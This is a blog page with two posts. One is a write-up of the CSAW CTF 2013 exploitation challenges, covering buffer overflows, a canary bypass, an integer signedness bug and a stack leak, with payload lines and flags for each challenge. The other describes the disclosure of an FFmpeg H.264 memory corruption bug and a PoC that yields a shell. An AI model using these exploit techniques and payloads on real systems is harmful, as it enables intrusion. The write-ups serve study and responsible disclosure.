Tuesday, September 24, 2013

CSAW CTF 2013 Quals - Exploitation 200 | 300 | 400 - [Team SegFault]

Exploitation 200

A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
.text:0804884B    call    _rand
.text:08048850    mov     ds:secret, eax
.text:08048855    mov     eax, ds:secret
.text:0804885A    mov     [ebp+var_C], eax     ; canary

.text:080488D5    mov     dword ptr [esp+0Ch], 0   ; flags
.text:080488DD    mov     dword ptr [esp+8], 1000h ; n
.text:080488E5    lea     eax, [ebp+buf]
.text:080488EB    mov     [esp+4], eax    ; buf
.text:080488EF    mov     eax, [ebp+fd]
.text:080488F2    mov     [esp], eax      ; fd
.text:080488F5    call    _recv    ; recv() overflows buffer

.text:080488FA    mov     [ebp+var_D], 0
.text:080488FE    mov     edx, [ebp+var_C]
.text:08048901    mov     eax, ds:secret
.text:08048906    cmp     edx, eax   ; canary check
Idea of exploit:
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
payload = shellcode[80 bytes] + ("A" * 1960) + rand + (buf_addr * 4)
Flag: 53666e040caa855a9b27194c82a26366

Exploitation 300

On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
; atoi call
.text:08048EAD    lea     eax, [ebp+buf]
.text:08048EB0    mov     [esp], eax      ; nptr
.text:08048EB3    call    _atoi
.text:08048EB8    mov     [ebp+var_E], ax ; truncation to 16 bits

.text:08048F09    mov     eax, [ebp+arg_4]  
.text:08048F0C    mov     [ebp+var_4AC], ax  ; truncation
.text:08048F13    mov     [ebp+var_C], 0
.text:08048F1A    mov     [ebp+stream], 0
.text:08048F21    movsx   eax, [ebp+var_4AC] ; integer promotion/sign extension

.text:08048F28    mov     [ebp+n], eax
.text:08048F2B    mov     eax, [ebp+n]
.text:08048F2E    add     eax, 1         ; add 1
.text:08048F31    cmp     eax, 400h        ; comparison

.text:08048F5B    mov     eax, [ebp+fd]
.text:08048F5E    mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048F66    mov     edx, [ebp+n]
.text:08048F69    mov     [esp+8], edx    ; n    ; treated as unsigned
.text:08048F6D    lea     edx, [ebp+buf]
.text:08048F73    mov     [esp+4], edx    ; buf
.text:08048F77    mov     [esp], eax      ; fd
.text:08048F7A    call    _recv
So what happens here is
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow

Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP

Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload

Final payload looks like this
soc.send("A"*1056 + ret_addr[From leaked stack address - offset] + NOP *100 + shellcode)
Flag: signness_oh_what_a_world_we_live_in

Exploitation 400

Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
   0x8048f3d: mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f43: mov    edx,0x80f04d5
   0x8048f48: lea    edx,[edx+ecx*4]
=> 0x8048f4b: mov    eax,DWORD PTR [edx]
   0x8048f4d: mov    DWORD PTR [esp],eax
   0x8048f50: ret

EAX: 0x80f0340 ('A' <repeats 200 times>...)
EBX: 0x0 
ECX: 0x41414140 ('@AAA')
EDX: 0xd1409d5 
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 ('A' <repeats 200 times>...)
EIP: 0x8048f4b (mov    eax,DWORD PTR [edx])
To reach 0x8048f50 without any invalid memory access, we have to overwrite certain areas of memory with valid address. The idea was to load ECX with NULL and EDX with address of .bss so that mov eax,DWORD PTR [edx] doesn't sigsegv. The address where user input is copied, is not randomized, so can be directly used as return address.
Final payload is:
soc.send(NOP*375 + shellcode[26 bytes] + struct.pack("<I",0x080f0450)[ret address] + struct.pack("<I", 0x080f12a0)[.bss address] * 100 + struct.pack("B", 0x00) * 50)
Flag: And_all_I_got_was_this_stupid_key

Tuesday, September 17, 2013

A FFmpeg 0.11.3 Memory Corruption Bug

I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
=> 0x528da4 <put_image+68>: call   QWORD PTR [rax+0x18]
RAX: 0x4444444444444444 ('DDDDDDDD')
So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; 
gdb-peda$ bt
#0  0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168
#1  0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479
#2  0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487
#3  0x000000000048ff78 in main (argc=<optimized out>, argv=) at mplayer.c:3765
#4  0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6
#5  0x0000000000482185 in _start ()
A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like
==4641== Invalid write of size 8
==4641==    at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464)
==4641==    by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532)
==4641==    by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445)
==4641==    by 0xA69AFA: ff_er_frame_end (error_resilience.c:710)
==4641==    by 0x7ACDD7: field_end (h264.c:2787)
==4641==    by 0x835CA9: decode_frame (h264.c:4596)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
==4641==    by 0x4F9894: decode_video (dec_video.c:393)
==4641==    by 0x48B803: update_video (mplayer.c:2463)
==4641==    by 0x48FF77: main (mplayer.c:3765)
==4641==  Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd
==4641==    at 0x4A072B5: memalign (vg_replace_malloc.c:727)
==4641==    by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876)
==4641==    by 0xAF200C: av_malloc (mem.c:95)
==4641==    by 0xAF20A5: av_mallocz (mem.c:187)
==4641==    by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341)
==4641==    by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193)
==4641==    by 0x7AD21F: ff_h264_frame_start (h264.c:1430)
==4641==    by 0x7AE4C0: decode_slice_header (h264.c:3320)
==4641==    by 0x834F82: decode_nal_units (h264.c:4330)
==4641==    by 0x835C6D: decode_frame (h264.c:4574)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.

Timeline of Bug:
August 18    - Bug report along with PoC to Mplayer
August 24    - FFmpeg notified about the issue
August 25    - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied
September 14 - Request for CVE
September 17 - CVE-2013-4358 assigned 
Exploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection

[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute

I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts 
MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team

Playing exploit_final.m2ts.
libavformat version 54.6.100 (internal)
TS file format detected.
VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)!  PROGRAM N. 1
FPS seems to be: 24.000000
Load subtitles in ./
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 54.23.100 (internal)
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000)
Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample)
Starting playback...
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [x11] 1920x1080 => 1920x1080 Planar YV12 
[swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter
A: 602.4 V: 602.4 A-V:  0.024 ct: -0.063  58/ 58 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.5 A-V:  0.012 ct: -0.062  59/ 59 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.5 V: 602.5 A-V:  0.011 ct: -0.061  60/ 60 38%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064  61/ 61 37%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.5 A-V:  0.056 ct: -0.060  62/ 62 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V:  0.009 ct: -0.059  63/ 63 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059  64/ 64 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063  65/ 65 36%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.9 V: 602.8 A-V:  0.067 ct: -0.059  66/ 66 36%  9%  2.0% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.9 V: 602.8 A-V:  0.155 ct: -0.055  67/ 67 36% 10%  2.0% 0 0 
######################################################################################
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5)
[h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors
A: 604.7 V: 604.1 A-V:  0.638 ct:  0.066  96/ 96 41% 12%  1.5% 0 0 
[ac3 @ 0xcf2320]frame sync error
[h264 @ 0xcf2320]Missing reference picture, default is 65650
[h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6)
[h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6)
[h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one
[h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors
Dropping frame with size not matching configured size
A: 604.7 V: 604.1 A-V:  0.624 ct:  0.070  97/ 97 41% 11%  1.5% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
[ac3 @ 0xcf2320]frame sync error
[ac3 @ 0xcf2320]frame CRC mismatch
[h264 @ 0xcf2320]Missing reference picture, default is 65652
[h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10)
[h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors
sh-4.1# 
I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.